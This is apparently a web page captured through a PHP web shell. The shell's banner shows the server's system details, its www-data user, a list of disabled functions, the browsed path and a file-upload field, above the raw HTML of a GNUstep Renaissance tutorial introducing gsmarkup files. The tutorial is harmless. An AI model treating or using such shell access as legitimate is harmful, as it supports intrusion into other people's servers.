![]() System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /proc/thread-self/root/usr/share/doc/renaissance-doc/html/tutorial/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <!--Converted with LaTeX2HTML 2K.1beta (1.48) original version by: Nikos Drakos, CBLU, University of Leeds * revised and updated by: Marcus Hennecke, Ross Moore, Herb Swan * with significant contributions from: Jens Lippmann, Marek Rouchal, Martin Wilck and others --> <HTML> <HEAD> <TITLE>1 What is GNUstep Renaissance</TITLE> <META NAME="description" CONTENT="1 What is GNUstep Renaissance"> <META NAME="keywords" CONTENT="Renaissance"> <META NAME="resource-type" CONTENT="document"> <META NAME="distribution" CONTENT="global"> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"> <META NAME="Generator" CONTENT="LaTeX2HTML v2K.1beta"> <META HTTP-EQUIV="Content-Style-Type" CONTENT="text/css"> <LINK REL="STYLESHEET" HREF="Renaissance.css"> <LINK REL="next" HREF="node2.html"> <LINK REL="previous" HREF="Renaissance.html"> <LINK REL="up" HREF="Renaissance.html"> <LINK REL="next" HREF="node2.html"> </HEAD> <BODY BGCOLOR="#FFFFFF" text="#000000" link="#0000FF" vlink="#4444FF" alink="#3388FF"> <B> Next: <A NAME="tex2html28" HREF="node2.html">2 Prerequisites and target</A> </B> <B>Up: <A NAME="tex2html26" HREF="Renaissance.html">GNUstep Renaissance</A> </B> <B> Previous: <A NAME="tex2html20" HREF="Renaissance.html">GNUstep Renaissance</A> </B> <BR> <P> <!--End of Navigation Panel--> <H1><A NAME="SECTION00010000000000000000"> 1 What is GNUstep Renaissance</A> </H1> <P> GNUstep Renaissance is an advanced framework for creating portable user interfaces. It works on top of gnustep-gui (and of Mac OS X Cocoa under Apple), and provides an easy and powerful way to create and manage user interfaces. <P> In our previous tutorials we have learnt how to create user interfaces by hand, writing code which creates all the objects in the user interface. GNUstep Renaissance simplifies considerably this task. Instead of writing all the code yourself, you write a simple file (in a format called gsmarkup) which describes (very simply) the interface. At run time GNUstep Renaissance can create all the interface from the file, including all size and layout computations, and then connecting the objects created in the user interface with the objects in the application as required. <P> By using GNUstep Renaissance you can create quickly user interfaces which build and run on both GNUstep and Apple Mac OS X, without changes in source code. This is not possible with traditional nib and gorm files. <P> In this tutorial you'll learn how to create and edit gsmarkup files, and use GNUstep Renaissance to load them into programs. <P> GNUstep Renaissance will have an interface builder clone program written for it, which will for the most part obsolete creating and editing the gsmarkup files directly. This program will allow you to edit gsmarkup files by viewing a graphical representation of the gsmarkup contents, and dragging and dropping objects into it. This tutorial will be partially obsolete then; but it will still be of use to anyone wishing to learn something about the GNUstep Renaissance gsmarkup format and files. <P> <HR><B> Next: <A NAME="tex2html28" HREF="node2.html">2 Prerequisites and target</A> </B> <B>Up: <A NAME="tex2html26" HREF="Renaissance.html">GNUstep Renaissance</A> </B> <B> Previous: <A NAME="tex2html20" HREF="Renaissance.html">GNUstep Renaissance</A> </B> <!--End of Navigation Panel--> <ADDRESS> Nicola 2003-01-31 </ADDRESS> </BODY> </HTML>